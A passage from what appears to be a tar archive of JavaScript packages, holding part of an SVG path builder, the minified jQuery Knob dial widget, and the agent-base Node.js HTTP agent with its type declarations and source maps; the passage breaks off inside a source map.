- y0) > epsilon) { this._ += "L" + x0 + "," + y0; } // Is this arc empty? We’re done. if (!r) return; // Does the angle go the wrong way? Flip the direction. if (da < 0) da = da % tau + tau; // Is this a complete circle? Draw two arcs to complete the circle. if (da > tauEpsilon) { this._ += "A" + r + "," + r + ",0,1," + cw + "," + (x - dx) + "," + (y - dy) + "A" + r + "," + r + ",0,1," + cw + "," + (this._x1 = x0) + "," + (this._y1 = y0); } // Is this arc non-empty? Draw an arc! else if (da > epsilon) { this._ += "A" + r + "," + r + ",0," + (+(da >= pi)) + "," + cw + "," + (this._x1 = x + r * Math.cos(a1)) + "," + (this._y1 = y + r * Math.sin(a1)); } }, rect: function(x, y, w, h) { this._ += "M" + (this._x0 = this._x1 = +x) + "," + (this._y0 = this._y1 = +y) + "h" + (+w) + "v" + (+h) + "h" + (-w) + "Z"; }, toString: function() { return this._; } }; exports.path = path; Object.defineProperty(exports, '__esModule', { value: true }); }))); jquery.knob.min.js000064400000025064151677316530010160 0ustar00(function(e){if(typeof define==="function"&&define.amd){define(["jquery"],e)}else{e(jQuery)}})(function(e){"use strict";var t={},n=Math.max,r=Math.min;t.c={};t.c.d=e(document);t.c.t=function(e){return e.originalEvent.touches.length-1};t.o=function(){var n=this;this.o=null;this.$=null;this.i=null;this.g=null;this.v=null;this.cv=null;this.x=0;this.y=0;this.w=0;this.h=0;this.$c=null;this.c=null;this.t=0;this.isInit=false;this.fgColor=null;this.pColor=null;this.dH=null;this.cH=null;this.eH=null;this.rH=null;this.scale=1;this.relative=false;this.relativeWidth=false;this.relativeHeight=false;this.$div=null;this.run=function(){var t=function(e,t){var r;for(r in t){n.o[r]=t[r]}n._carve().init();n._configure()._draw()};if(this.$.data("kontroled"))return;this.$.data("kontroled",true);this.extend();this.o=e.extend({min:this.$.data("min")!==undefined?this.$.data("min"):0,max:this.$.data("max")!==undefined?this.$.data("max"):100,stopper:true,readOnly:this.$.data("readonly")||this.$.attr("readonly")==="readonly",cursor:this.$.data("cursor")===true&&30||this.$.data("cursor")||0,thickness:this.$.data("thickness")&&Math.max(Math.min(this.$.data("thickness"),1),.01)||.35,lineCap:this.$.data("linecap")||"butt",width:this.$.data("width")||200,height:this.$.data("height")||200,displayInput:this.$.data("displayinput")==null||this.$.data("displayinput"),displayPrevious:this.$.data("displayprevious"),fgColor:this.$.data("fgcolor")||"#87CEEB",inputColor:this.$.data("inputcolor"),font:this.$.data("font")||"Arial",fontWeight:this.$.data("font-weight")||"bold",inline:false,step:this.$.data("step")||1,rotation:this.$.data("rotation"),draw:null,change:null,cancel:null,release:null,format:function(e){return e},parse:function(e){return parseFloat(e)}},this.o);this.o.flip=this.o.rotation==="anticlockwise"||this.o.rotation==="acw";if(!this.o.inputColor){this.o.inputColor=this.o.fgColor}if(this.$.is("fieldset")){this.v={};this.i=this.$.find("input");this.i.each(function(t){var r=e(this);n.i[t]=r;n.v[t]=n.o.parse(r.val());r.bind("change blur",function(){var e={};e[t]=r.val();n.val(n._validate(e))})});this.$.find("legend").remove()}else{this.i=this.$;this.v=this.o.parse(this.$.val());this.v===""&&(this.v=this.o.min);this.$.bind("change blur",function(){n.val(n._validate(n.o.parse(n.$.val())))})}!this.o.displayInput&&this.$.hide();this.$c=e(document.createElement("canvas")).attr({width:this.o.width,height:this.o.height});this.$div=e('<div style="'+(this.o.inline?"display:inline;":"")+"width:"+this.o.width+"px;height:"+this.o.height+"px;"+'"></div>');this.$.wrap(this.$div).before(this.$c);this.$div=this.$.parent();if(typeof G_vmlCanvasManager!=="undefined"){G_vmlCanvasManager.initElement(this.$c[0])}this.c=this.$c[0].getContext?this.$c[0].getContext("2d"):null;if(!this.c){throw{name:"CanvasNotSupportedException",message:"Canvas not supported. Please use excanvas on IE8.0.",toString:function(){return this.name+": "+this.message}}}this.scale=(window.devicePixelRatio||1)/(this.c.webkitBackingStorePixelRatio||this.c.mozBackingStorePixelRatio||this.c.msBackingStorePixelRatio||this.c.oBackingStorePixelRatio||this.c.backingStorePixelRatio||1);this.relativeWidth=this.o.width%1!==0&&this.o.width.indexOf("%");this.relativeHeight=this.o.height%1!==0&&this.o.height.indexOf("%");this.relative=this.relativeWidth||this.relativeHeight;this._carve();if(this.v instanceof Object){this.cv={};this.copy(this.v,this.cv)}else{this.cv=this.v}this.$.bind("configure",t).parent().bind("configure",t);this._listen()._configure()._xy().init();this.isInit=true;this.$.val(this.o.format(this.v));this._draw();return this};this._carve=function(){if(this.relative){var e=this.relativeWidth?this.$div.parent().width()*parseInt(this.o.width)/100:this.$div.parent().width(),t=this.relativeHeight?this.$div.parent().height()*parseInt(this.o.height)/100:this.$div.parent().height();this.w=this.h=Math.min(e,t)}else{this.w=this.o.width;this.h=this.o.height}this.$div.css({width:this.w+"px",height:this.h+"px"});this.$c.attr({width:this.w,height:this.h});if(this.scale!==1){this.$c[0].width=this.$c[0].width*this.scale;this.$c[0].height=this.$c[0].height*this.scale;this.$c.width(this.w);this.$c.height(this.h)}return this};this._draw=function(){var e=true;n.g=n.c;n.clear();n.dH&&(e=n.dH());e!==false&&n.draw()};this._touch=function(e){var r=function(e){var t=n.xy2val(e.originalEvent.touches[n.t].pageX,e.originalEvent.touches[n.t].pageY);if(t==n.cv)return;if(n.cH&&n.cH(t)===false)return;n.change(n._validate(t));n._draw()};this.t=t.c.t(e);r(e);t.c.d.bind("touchmove.k",r).bind("touchend.k",function(){t.c.d.unbind("touchmove.k touchend.k");n.val(n.cv)});return this};this._mouse=function(e){var r=function(e){var t=n.xy2val(e.pageX,e.pageY);if(t==n.cv)return;if(n.cH&&n.cH(t)===false)return;n.change(n._validate(t));n._draw()};r(e);t.c.d.bind("mousemove.k",r).bind("keyup.k",function(e){if(e.keyCode===27){t.c.d.unbind("mouseup.k mousemove.k keyup.k");if(n.eH&&n.eH()===false)return;n.cancel()}}).bind("mouseup.k",function(e){t.c.d.unbind("mousemove.k mouseup.k keyup.k");n.val(n.cv)});return this};this._xy=function(){var e=this.$c.offset();this.x=e.left;this.y=e.top;return this};this._listen=function(){if(!this.o.readOnly){this.$c.bind("mousedown",function(e){e.preventDefault();n._xy()._mouse(e)}).bind("touchstart",function(e){e.preventDefault();n._xy()._touch(e)});this.listen()}else{this.$.attr("readonly","readonly")}if(this.relative){e(window).resize(function(){n._carve().init();n._draw()})}return this};this._configure=function(){if(this.o.draw)this.dH=this.o.draw;if(this.o.change)this.cH=this.o.change;if(this.o.cancel)this.eH=this.o.cancel;if(this.o.release)this.rH=this.o.release;if(this.o.displayPrevious){this.pColor=this.h2rgba(this.o.fgColor,"0.4");this.fgColor=this.h2rgba(this.o.fgColor,"0.6")}else{this.fgColor=this.o.fgColor}return this};this._clear=function(){this.$c[0].width=this.$c[0].width};this._validate=function(e){var t=~~((e<0?-.5:.5)+e/this.o.step)*this.o.step;return Math.round(t*100)/100};this.listen=function(){};this.extend=function(){};this.init=function(){};this.change=function(e){};this.val=function(e){};this.xy2val=function(e,t){};this.draw=function(){};this.clear=function(){this._clear()};this.h2rgba=function(e,t){var n;e=e.substring(1,7);n=[parseInt(e.substring(0,2),16),parseInt(e.substring(2,4),16),parseInt(e.substring(4,6),16)];return"rgba("+n[0]+","+n[1]+","+n[2]+","+t+")"};this.copy=function(e,t){for(var n in e){t[n]=e[n]}}};t.Dial=function(){t.o.call(this);this.startAngle=null;this.xy=null;this.radius=null;this.lineWidth=null;this.cursorExt=null;this.w2=null;this.PI2=2*Math.PI;this.extend=function(){this.o=e.extend({bgColor:this.$.data("bgcolor")||"#EEEEEE",angleOffset:this.$.data("angleoffset")||0,angleArc:this.$.data("anglearc")||360,inline:true},this.o)};this.val=function(e,t){if(null!=e){e=this.o.parse(e);if(t!==false&&e!=this.v&&this.rH&&this.rH(e)===false){return}this.cv=this.o.stopper?n(r(e,this.o.max),this.o.min):e;this.v=this.cv;this.$.val(this.o.format(this.v));this._draw()}else{return this.v}};this.xy2val=function(e,t){var i,s;i=Math.atan2(e-(this.x+this.w2),-(t-this.y-this.w2))-this.angleOffset;if(this.o.flip){i=this.angleArc-i-this.PI2}if(this.angleArc!=this.PI2&&i<0&&i>-.5){i=0}else if(i<0){i+=this.PI2}s=i*(this.o.max-this.o.min)/this.angleArc+this.o.min;this.o.stopper&&(s=n(r(s,this.o.max),this.o.min));return s};this.listen=function(){var t=this,i,s,o=function(e){e.preventDefault();var o=e.originalEvent,u=o.detail||o.wheelDeltaX,a=o.detail||o.wheelDeltaY,f=t._validate(t.o.parse(t.$.val()))+(u>0||a>0?t.o.step:u<0||a<0?-t.o.step:0);f=n(r(f,t.o.max),t.o.min);t.val(f,false);if(t.rH){clearTimeout(i);i=setTimeout(function(){t.rH(f);i=null},100);if(!s){s=setTimeout(function(){if(i)t.rH(f);s=null},200)}}},u,a,f=1,l={37:-t.o.step,38:t.o.step,39:t.o.step,40:-t.o.step};this.$.bind("keydown",function(i){var s=i.keyCode;if(s>=96&&s<=105){s=i.keyCode=s-48}u=parseInt(String.fromCharCode(s));if(isNaN(u)){s!==13&&s!==8&&s!==9&&s!==189&&(s!==190||t.$.val().match(/\./))&&i.preventDefault();if(e.inArray(s,[37,38,39,40])>-1){i.preventDefault();var o=t.o.parse(t.$.val())+l[s]*f;t.o.stopper&&(o=n(r(o,t.o.max),t.o.min));t.change(t._validate(o));t._draw();a=window.setTimeout(function(){f*=2},30)}}}).bind("keyup",function(e){if(isNaN(u)){if(a){window.clearTimeout(a);a=null;f=1;t.val(t.$.val())}}else{t.$.val()>t.o.max&&t.$.val(t.o.max)||t.$.val()<t.o.min&&t.$.val(t.o.min)}});this.$c.bind("mousewheel DOMMouseScroll",o);this.$.bind("mousewheel DOMMouseScroll",o)};this.init=function(){if(this.v<this.o.min||this.v>this.o.max){this.v=this.o.min}this.$.val(this.v);this.w2=this.w/2;this.cursorExt=this.o.cursor/100;this.xy=this.w2*this.scale;this.lineWidth=this.xy*this.o.thickness;this.lineCap=this.o.lineCap;this.radius=this.xy-this.lineWidth/2;this.o.angleOffset&&(this.o.angleOffset=isNaN(this.o.angleOffset)?0:this.o.angleOffset);this.o.angleArc&&(this.o.angleArc=isNaN(this.o.angleArc)?this.PI2:this.o.angleArc);this.angleOffset=this.o.angleOffset*Math.PI/180;this.angleArc=this.o.angleArc*Math.PI/180;this.startAngle=1.5*Math.PI+this.angleOffset;this.endAngle=1.5*Math.PI+this.angleOffset+this.angleArc;var e=n(String(Math.abs(this.o.max)).length,String(Math.abs(this.o.min)).length,2)+2;this.o.displayInput&&this.i.css({width:(this.w/2+4>>0)+"px",height:(this.w/3>>0)+"px",position:"absolute","vertical-align":"middle","margin-top":(this.w/3>>0)+"px","margin-left":"-"+(this.w*3/4+2>>0)+"px",border:0,background:"none",font:this.o.fontWeight+" "+(this.w/e>>0)+"px "+this.o.font,"text-align":"center",color:this.o.inputColor||this.o.fgColor,padding:"0px","-webkit-appearance":"none"})||this.i.css({width:"0px",visibility:"hidden"})};this.change=function(e){this.cv=e;this.$.val(this.o.format(e))};this.angle=function(e){return(e-this.o.min)*this.angleArc/(this.o.max-this.o.min)};this.arc=function(e){var t,n;e=this.angle(e);if(this.o.flip){t=this.endAngle+1e-5;n=t-e-1e-5}else{t=this.startAngle-1e-5;n=t+e+1e-5}this.o.cursor&&(t=n-this.cursorExt)&&(n=n+this.cursorExt);return{s:t,e:n,d:this.o.flip&&!this.o.cursor}};this.draw=function(){var e=this.g,t=this.arc(this.cv),n,r=1;e.lineWidth=this.lineWidth;e.lineCap=this.lineCap;if(this.o.bgColor!=="none"){e.beginPath();e.strokeStyle=this.o.bgColor;e.arc(this.xy,this.xy,this.radius,this.endAngle-1e-5,this.startAngle+1e-5,true);e.stroke()}if(this.o.displayPrevious){n=this.arc(this.v);e.beginPath();e.strokeStyle=this.pColor;e.arc(this.xy,this.xy,this.radius,n.s,n.e,n.d);e.stroke();r=this.cv==this.v}e.beginPath();e.strokeStyle=r?this.o.fgColor:this.fgColor;e.arc(this.xy,this.xy,this.radius,t.s,t.e,t.d);e.stroke()};this.cancel=function(){this.val(this.v)}};e.fn.dial=e.fn.knob=function(n){return this.each(function(){var r=new t.Dial;r.o=n;r.$=e(this);r.run()}).parent()}})src/promisify.js.map000064400000000763151677317030010506 0ustar00{"version":3,"file":"promisify.js","sourceRoot":"","sources":["../../src/promisify.ts"],"names":[],"mappings":";;AAeA,SAAwB,SAAS,CAAC,EAAkB;IACnD,OAAO,UAAsB,GAAkB,EAAE,IAAoB;QACpE,OAAO,IAAI,OAAO,CAAC,CAAC,OAAO,EAAE,MAAM,EAAE,EAAE;YACtC,EAAE,CAAC,IAAI,CACN,IAAI,EACJ,GAAG,EACH,IAAI,EACJ,CAAC,GAA6B,EAAE,GAAyB,EAAE,EAAE;gBAC5D,IAAI,GAAG,EAAE;oBACR,MAAM,CAAC,GAAG,CAAC,CAAC;iBACZ;qBAAM;oBACN,OAAO,CAAC,GAAG,CAAC,CAAC;iBACb;YACF,CAAC,CACD,CAAC;QACH,CAAC,CAAC,CAAC;IACJ,CAAC,CAAC;AACH,CAAC;AAjBD,4BAiBC"}src/index.js000064400000017346151677317030007025 0ustar00"use strict"; var __importDefault = (this && this.__importDefault) || function (mod) { return (mod && mod.__esModule) ? mod : { "default": mod }; }; const events_1 = require("events"); const debug_1 = __importDefault(require("debug")); const promisify_1 = __importDefault(require("./promisify")); const debug = debug_1.default('agent-base'); function isAgent(v) { return Boolean(v) && typeof v.addRequest === 'function'; } function isSecureEndpoint() { const { stack } = new Error(); if (typeof stack !== 'string') return false; return stack.split('\n').some(l => l.indexOf('(https.js:') !== -1 || l.indexOf('node:https:') !== -1); } function createAgent(callback, opts) { return new createAgent.Agent(callback, opts); } (function (createAgent) { /** * Base `http.Agent` implementation. * No pooling/keep-alive is implemented by default. * * @param {Function} callback * @api public */ class Agent extends events_1.EventEmitter { constructor(callback, _opts) { super(); let opts = _opts; if (typeof callback === 'function') { this.callback = callback; } else if (callback) { opts = callback; } // Timeout for the socket to be returned from the callback this.timeout = null; if (opts && typeof opts.timeout === 'number') { this.timeout = opts.timeout; } // These aren't actually used by `agent-base`, but are required // for the TypeScript definition files in `@types/node` :/ this.maxFreeSockets = 1; this.maxSockets = 1; this.maxTotalSockets = Infinity; this.sockets = {}; this.freeSockets = {}; this.requests = {}; this.options = {}; } get defaultPort() { if (typeof this.explicitDefaultPort === 'number') { return this.explicitDefaultPort; } return isSecureEndpoint() ? 443 : 80; } set defaultPort(v) { this.explicitDefaultPort = v; } get protocol() { if (typeof this.explicitProtocol === 'string') { return this.explicitProtocol; } return isSecureEndpoint() ? 'https:' : 'http:'; } set protocol(v) { this.explicitProtocol = v; } callback(req, opts, fn) { throw new Error('"agent-base" has no default implementation, you must subclass and override `callback()`'); } /** * Called by node-core's "_http_client.js" module when creating * a new HTTP request with this Agent instance. * * @api public */ addRequest(req, _opts) { const opts = Object.assign({}, _opts); if (typeof opts.secureEndpoint !== 'boolean') { opts.secureEndpoint = isSecureEndpoint(); } if (opts.host == null) { opts.host = 'localhost'; } if (opts.port == null) { opts.port = opts.secureEndpoint ? 443 : 80; } if (opts.protocol == null) { opts.protocol = opts.secureEndpoint ? 'https:' : 'http:'; } if (opts.host && opts.path) { // If both a `host` and `path` are specified then it's most // likely the result of a `url.parse()` call... we need to // remove the `path` portion so that `net.connect()` doesn't // attempt to open that as a unix socket file. delete opts.path; } delete opts.agent; delete opts.hostname; delete opts._defaultAgent; delete opts.defaultPort; delete opts.createConnection; // Hint to use "Connection: close" // XXX: non-documented `http` module API :( req._last = true; req.shouldKeepAlive = false; let timedOut = false; let timeoutId = null; const timeoutMs = opts.timeout || this.timeout; const onerror = (err) => { if (req._hadError) return; req.emit('error', err); // For Safety. Some additional errors might fire later on // and we need to make sure we don't double-fire the error event. req._hadError = true; }; const ontimeout = () => { timeoutId = null; timedOut = true; const err = new Error(`A "socket" was not created for HTTP request before ${timeoutMs}ms`); err.code = 'ETIMEOUT'; onerror(err); }; const callbackError = (err) => { if (timedOut) return; if (timeoutId !== null) { clearTimeout(timeoutId); timeoutId = null; } onerror(err); }; const onsocket = (socket) => { if (timedOut) return; if (timeoutId != null) { clearTimeout(timeoutId); timeoutId = null; } if (isAgent(socket)) { // `socket` is actually an `http.Agent` instance, so // relinquish responsibility for this `req` to the Agent // from here on debug('Callback returned another Agent instance %o', socket.constructor.name); socket.addRequest(req, opts); return; } if (socket) { socket.once('free', () => { this.freeSocket(socket, opts); }); req.onSocket(socket); return; } const err = new Error(`no Duplex stream was returned to agent-base for \`${req.method} ${req.path}\``); onerror(err); }; if (typeof this.callback !== 'function') { onerror(new Error('`callback` is not defined')); return; } if (!this.promisifiedCallback) { if (this.callback.length >= 3) { debug('Converting legacy callback function to promise'); this.promisifiedCallback = promisify_1.default(this.callback); } else { this.promisifiedCallback = this.callback; } } if (typeof timeoutMs === 'number' && timeoutMs > 0) { timeoutId = setTimeout(ontimeout, timeoutMs); } if ('port' in opts && typeof opts.port !== 'number') { opts.port = Number(opts.port); } try { debug('Resolving socket for %o request: %o', opts.protocol, `${req.method} ${req.path}`); Promise.resolve(this.promisifiedCallback(req, opts)).then(onsocket, callbackError); } catch (err) { Promise.reject(err).catch(callbackError); } } freeSocket(socket, opts) { debug('Freeing socket %o %o', socket.constructor.name, opts); socket.destroy(); } destroy() { debug('Destroying agent %o', this.constructor.name); } } createAgent.Agent = Agent; // So that `instanceof` works correctly createAgent.prototype = createAgent.Agent.prototype; })(createAgent || (createAgent = {})); module.exports = createAgent; //# sourceMappingURL=index.js.mapsrc/promisify.d.ts000064400000000453151677317030010162 0ustar00import { ClientRequest, RequestOptions, AgentCallbackCallback, AgentCallbackPromise } from './index'; declare type LegacyCallback = (req: ClientRequest, opts: RequestOptions, fn: AgentCallbackCallback) => void; export default function promisify(fn: LegacyCallback): AgentCallbackPromise; export {}; src/promisify.js000064400000000757151677317030007735 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); function promisify(fn) { return function (req, opts) { return new Promise((resolve, reject) => { fn.call(this, req, opts, (err, rtn) => { if (err) { reject(err); } else { resolve(rtn); } }); }); }; } exports.default = promisify; //# sourceMappingURL=promisify.js.mapsrc/index.d.ts000064400000006175151677317030007257 0ustar00/// <reference types="node" /> import net from 'net'; import http from 'http'; import https from 'https'; import { Duplex } from 'stream'; import { EventEmitter } from 'events'; declare function createAgent(opts?: createAgent.AgentOptions): createAgent.Agent; declare function createAgent(callback: createAgent.AgentCallback, opts?: createAgent.AgentOptions): createAgent.Agent; declare namespace createAgent { interface ClientRequest extends http.ClientRequest { _last?: boolean; _hadError?: boolean; method: string; } interface AgentRequestOptions { host?: string; path?: string; port: number; } interface HttpRequestOptions extends AgentRequestOptions, Omit<http.RequestOptions, keyof AgentRequestOptions> { secureEndpoint: false; } interface HttpsRequestOptions extends AgentRequestOptions, Omit<https.RequestOptions, keyof AgentRequestOptions> { secureEndpoint: true; } type RequestOptions = HttpRequestOptions | HttpsRequestOptions; type AgentLike = Pick<createAgent.Agent, 'addRequest'> | http.Agent; type AgentCallbackReturn = Duplex | AgentLike; type AgentCallbackCallback = (err?: Error | null, socket?: createAgent.AgentCallbackReturn) => void; type AgentCallbackPromise = (req: createAgent.ClientRequest, opts: createAgent.RequestOptions) => createAgent.AgentCallbackReturn | Promise<createAgent.AgentCallbackReturn>; type AgentCallback = typeof Agent.prototype.callback; type AgentOptions = { timeout?: number; }; /** * Base `http.Agent` implementation. * No pooling/keep-alive is implemented by default. * * @param {Function} callback * @api public */ class Agent extends EventEmitter { timeout: number | null; maxFreeSockets: number; maxTotalSockets: number; maxSockets: number; sockets: { [key: string]: net.Socket[]; }; freeSockets: { [key: string]: net.Socket[]; }; requests: { [key: string]: http.IncomingMessage[]; }; options: https.AgentOptions; private promisifiedCallback?; private explicitDefaultPort?; private explicitProtocol?; constructor(callback?: createAgent.AgentCallback | createAgent.AgentOptions, _opts?: createAgent.AgentOptions); get defaultPort(): number; set defaultPort(v: number); get protocol(): string; set protocol(v: string); callback(req: createAgent.ClientRequest, opts: createAgent.RequestOptions, fn: createAgent.AgentCallbackCallback): void; callback(req: createAgent.ClientRequest, opts: createAgent.RequestOptions): createAgent.AgentCallbackReturn | Promise<createAgent.AgentCallbackReturn>; /** * Called by node-core's "_http_client.js" module when creating * a new HTTP request with this Agent instance. * * @api public */ addRequest(req: ClientRequest, _opts: RequestOptions): void; freeSocket(socket: net.Socket, opts: AgentOptions): void; destroy(): void; } } export = createAgent; src/index.js.map000064400000013300151677317030007563 0ustar00{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src/index.ts"],"names":[],"mappings":"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